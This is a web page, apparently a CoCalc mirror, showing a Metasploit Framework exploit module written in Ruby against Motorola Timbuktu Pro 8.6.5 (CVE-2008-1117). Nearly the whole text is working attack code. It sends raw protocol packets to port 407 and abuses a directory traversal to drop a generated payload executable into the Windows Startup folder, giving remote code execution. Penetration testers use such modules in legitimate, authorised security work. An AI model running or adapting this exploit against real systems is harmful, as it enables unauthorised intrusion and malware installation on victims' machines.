CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/motorola/timbuktu_fileupload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Timbuktu Pro Directory Traversal/File Upload',
15
'Description' => %q{
16
This module exploits a directory traversal vulnerability in Motorola's
17
Timbuktu Pro for Windows 8.6.5.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-1117' ],
24
[ 'OSVDB', '43544' ],
25
],
26
'Privileged' => true,
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process',
30
},
31
'Payload' =>
32
{
33
'Space' => 2048,
34
'DisableNops' => true,
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'Automatic', { } ],
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2008-05-10'))
44
45
register_options(
46
[
47
Opt::RPORT(407),
48
OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
49
])
50
end
51
52
def exploit
53
connect
54
55
exe = rand_text_alpha(8) + ".exe"
56
data = generate_payload_exe
57
58
pkt1 = "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"
59
pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"
60
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
61
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
62
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
63
pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"
64
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
65
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
66
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
67
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"
68
pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"
69
pkt1 << "\x00\x00\x00\x00\x00\x00"
70
71
pkt3 = "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"
72
pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"
73
pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
74
pkt3 << "\x00\x00\x00\x00\x00\x00\x00"
75
pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe
76
77
print_status("Connecting to #{rhost} on port #{rport}...")
78
79
sock.put(pkt1)
80
select(nil,nil,nil,0.15)
81
82
sock.put("\xFF")
83
select(nil,nil,nil,0.15)
84
85
sock.put(pkt3)
86
select(nil,nil,nil,0.15)
87
88
sock.put("\xF9\x00")
89
select(nil,nil,nil,0.15)
90
91
print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")
92
sock.put("\xF8" + [data.length].pack('n') + data)
93
select(nil,nil,nil,5)
94
95
sock.put("\xF7")
96
select(nil,nil,nil,0.15)
97
98
sock.put("\xFA")
99
select(nil,nil,nil,0.15)
100
101
sock.put("\xFE")
102
select(nil,nil,nil,0.08)
103
104
print_status("Done!")
105
disconnect
106
107
end
108
end
109
110